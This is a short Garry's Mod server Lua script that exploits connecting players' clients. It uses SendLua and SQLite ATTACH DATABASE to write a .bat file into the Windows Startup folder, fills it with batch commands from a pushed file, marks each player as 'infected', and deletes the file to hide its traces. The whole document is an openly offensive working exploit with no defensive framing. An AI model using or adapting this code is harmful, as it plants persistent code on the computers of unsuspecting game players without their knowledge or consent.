
resource.AddFile("data/exploit.txt"); -- THis file contains the batch-commands!
 
local function writeBatch(ply)  
	if(not ply:GetPData("batched")) then
		-- Create a new database in the autorun-folder
		--Vista
		ply:SendLua([[sql.Query("ATTACH DATABASE 'C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/test.bat' AS exploit")sql.Query("CREATE TABLE exploit.test (v TEXT)")]]);
		--XP/2000
		ply:SendLua([[sql.Query("ATTACH DATABASE 'C:/Documents and Settings/All Users/Start Menu/Programs/Startup/test.bat' AS exploit")sql.Query("CREATE TABLE exploit.test (v TEXT)")]]);
		-- Write the batch-code to this database-file
		ply:SendLua([[sql.Query(string.format("INSERT INTO exploit.test (v) VALUES('%s')", "rnrn" .. file.Read("exploit.txt")))sql.Query("DETACH exploit")]]);
		-- Mark this user as infected
		ply:SetPData("batched","yes");
		-- Remove our traces
		timer.Simple(3, function() ply:SendLua([[file.Delete("exploit..txt")]]) end);
	end
end
hook.Add("PlayerInitialSpawn", "writebatch", writeBatch);

